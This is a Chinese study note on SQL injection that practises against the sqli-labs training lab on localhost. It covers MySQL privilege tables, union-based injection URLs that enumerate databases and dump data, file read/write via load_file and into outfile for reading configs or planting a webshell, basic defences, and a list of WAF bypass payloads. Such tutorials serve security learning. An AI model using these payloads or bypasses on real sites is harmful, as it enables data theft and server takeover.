分享

SQL注入小笔记

 zZ华 2023-11-12 发布于广东

# SQL注入之高权限注入

在数据库中区分有数据库系统用户与数据库普通用户,二者的划分主要体现在对一些高级函数与资源表的访问权限上。直白一些就是高权限系统用户拥有整个数据库的操作权限,而普通用户只拥有部分已配置的权限。

网站在创建的时候会调用数据库链接,会区分系统用户链接与普通用户链接;当多个网站存在一个数据库的时候,root就拥有最高权限可以对多个网站进行管辖,普通用户仅拥有当前网站和配置的部分权限。所以当我们获取到普通用户权限时,我们只拥有单个数据库权限,甚至文件读写失败;取得高权限用户权限,不仅可以查看所有数据库,还可以对服务器文件进行读写操作。

### 多个网站共享mysql服务器

图片

图片

### MySQL 权限介绍

mysql中存在4个控制权限的表,分别为user表,db表,tables_priv表,columns_priv表,

我当前的版本mysql 5.7.22 。

```

select * from user where user='root' and host='localhost'\G;

    mysql权限表的验证过程为:

    先从user表中的Host,User,Password这3个字段中判断连接的ip、用户名、密码是否存在,存在则通过验证。

    通过身份认证后,进行权限分配,

    按照user,db,tables_priv,columns_priv的顺序进行验证。

    即先检查全局权限表user,如果user中对应的权限为Y,则此用户对所有数据库的权限都为Y,

    将不再检查db, tables_priv,columns_priv;如果为N,则到db表中检查此用户对应的具体数据库,

    并得到db中为Y的权限;如果db中为N,则检查tables_priv中此数据库对应的具体表,取得表中的权限Y,以此类推。

 2.1 系统权限表

    User表:存放用户账户信息以及全局级别(所有数据库)权限,决定了来自哪些主机的哪些用户可以访问数据库实例,如果有全局权限则意味着对所有数据库都有此权限

    Db表:存放数据库级别的权限,决定了来自哪些主机的哪些用户可以访问此数据库

    Tables_priv表:存放表级别的权限,决定了来自哪些主机的哪些用户可以访问数据库的这个表

    Columns_priv表:存放列级别的权限,决定了来自哪些主机的哪些用户可以访问数据库表的这个字段

    Procs_priv表:存放存储过程和函数级别的权限

 2. MySQL 权限级别分为:

    全局性的管理权限:作用于整个MySQL实例级别

    数据库级别的权限:作用于某个指定的数据库上或者所有的数据库上

    数据库对象级别的权限:作用于指定的数据库对象上(表、视图等)或者所有的数据库对象

 3.查看mysql 有哪些用户:

    mysql> select user,host from mysql.user;

 4.查看用户对应权限

 select * from user where user='root' and host='localhost'\G;  #所有权限都是Y ,就是什么权限都有

 5.创建 mysql 用户

    有两种方式创建MySQL授权用户

    执行create user/grant命令(推荐方式)

    CREATE USER 'finley'@'localhost' IDENTIFIED BY 'some_pass';

    通过insert语句直接操作MySQL系统权限表

 6.只提供id查询权限

 grant select(id) on test.temp to test1@'localhost' identified by '123456';

 7.把普通用户变成管理员

    GRANT ALL PRIVILEGES ON *.* TO 'test1'@'localhost' WITH GRANT OPTION;

 8.删除用户

    drop user finley@'localhost';

```

# SQL注入之高权限注入

1.注入流程与上节实例相同

#### 查询所有数据库名称

图片

```

http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata

```

#### 查询数据库对应的表名

图片

```

http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=0x74657374

```

#### 查询表名对应的字段名

图片

```

http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7431

```

#### 查询数据

图片

```

http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,name,pass%20from%20test.t1

```

# SQL注入之文件读写

#### 文件读写注入的原理

就是利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息。

#### 文件读写注入的条件

高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限

**secure_file_priv选项**

```

linux

cat  etc/conf

win

www/mysql / my.ini

```

show global variables like '%secure%'  查看mysql全局变量的配置

1、读写文件需要 `secure_file_priv`权限

**`secure_file_priv=`**

代表对文件读写没有限制

`secure_file_priv=NULL`

代表不能进行文件读写

`secure_file_priv=d:/phpstudy/mysql/data`

代表只能对该路径下文件进行读写

2、知道网站绝对路径

Windows常见:

图片

Linux常见:

图片

路径获取常见方式:

报错显示,遗留文件,漏洞报错,平台配置文件等

#### 读取文件

使用函数:`load_file()`

后面的路径可以是单引号,0x,char转换的字符。

注意:路径中斜杠是/不是\。

一般可以与union中做为一个字段使用,查看config.php(即mysql的密码),apache配置...

#### 写入文件

使用函数:`Into Outfile`(能写入多行,按格式输出)和 `into Dumpfile`(只能写入一行且没有输出格式)

outfile 后面不能接0x开头或者char转换以后的路径,只能是单引号路径

# SQL注入之基础防御

### 魔术引号

魔术引号(Magic Quote)是一个自动将进入 PHP 脚本的数据进行转义的过程。

最好在编码时不要转义而在运行时根据需要而转义。

魔术引号:

在php.ini文件内找到

```

magic_quotes_gpc = On 开启

将其改为

magic_quotes_gpc = Off 关闭

```

### 内置函数

做数据类型的过滤

is_int()等

addslashes()

mysql_real_escape_string()

mysql_escape_string()

### 自定义关键字

str_replace()

其他安全防护软件 WAF ......

# SQL注入之WAF绕过

### `WAF拦截原理:WAF从规则库中匹配敏感字符进行拦截。`

图片

# 关键词大小写绕过

```

    有的WAF因为规则设计的问题,只匹配纯大写或纯小写的字符,对字符大小写混写直接无视,这时,我们可以利用这一点来进行绕过

    举例:union select ---> unIOn SeLEcT

```

# 编码绕过

```

    针对WAF过滤的字符编码,如使用URL编码,Unicode编码,十六进制编码,Hex编码等.

    举例:union select 1,2,3# =union%0aselect 1\u002c2,3%23

```

# 双写绕过

```

    部分WAF只对字符串识别一次,删除敏感字段并拼接剩余语句,这时,我们可以通过双写来进行绕过。

    举例:UNIunionON ,SELselectECT anandd

```

# 换行(\N)绕过

```

    举例:select * from admin where username = \N union select 1,user() from admin

```

# 注释符内联注释绕过:

```

    union selecte =/*!union*/ select

    注释符里感叹号后面的内容会被mysql执行。

```

# 同义词替换

```

    and=&&

    or=||

    =(等于号)=<、>

    空格不能使用=%09,%0a,%0b,%0c,%0d,%20,%a0等

    注:%0a是换行也可以替代空格

```

# HTTP参污染

```

    对目标发送多个参数,如果目标没有多参数进行多次过滤,那么WAF对多个参数只会识别其中的一个。

    举例:?id=1&id=2&id=3

    ?id=1/**&id=-1%20union%20select%201,2,3%23*/

```

### `WAF绕过的思路就是让WAF的检测规则,识别不到你所输入的敏感字符,利用上述所介绍的知识点,灵活结合各种方法,从而可以增加绕过WAF的可能性`

```

order by绕过:%20/*//--/*/  V4.0

联合绕过:union /*!--+/*%0aselect/*!1,2,3*/ --+

from绕过:/*!06447%23%0afrom*/

```

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多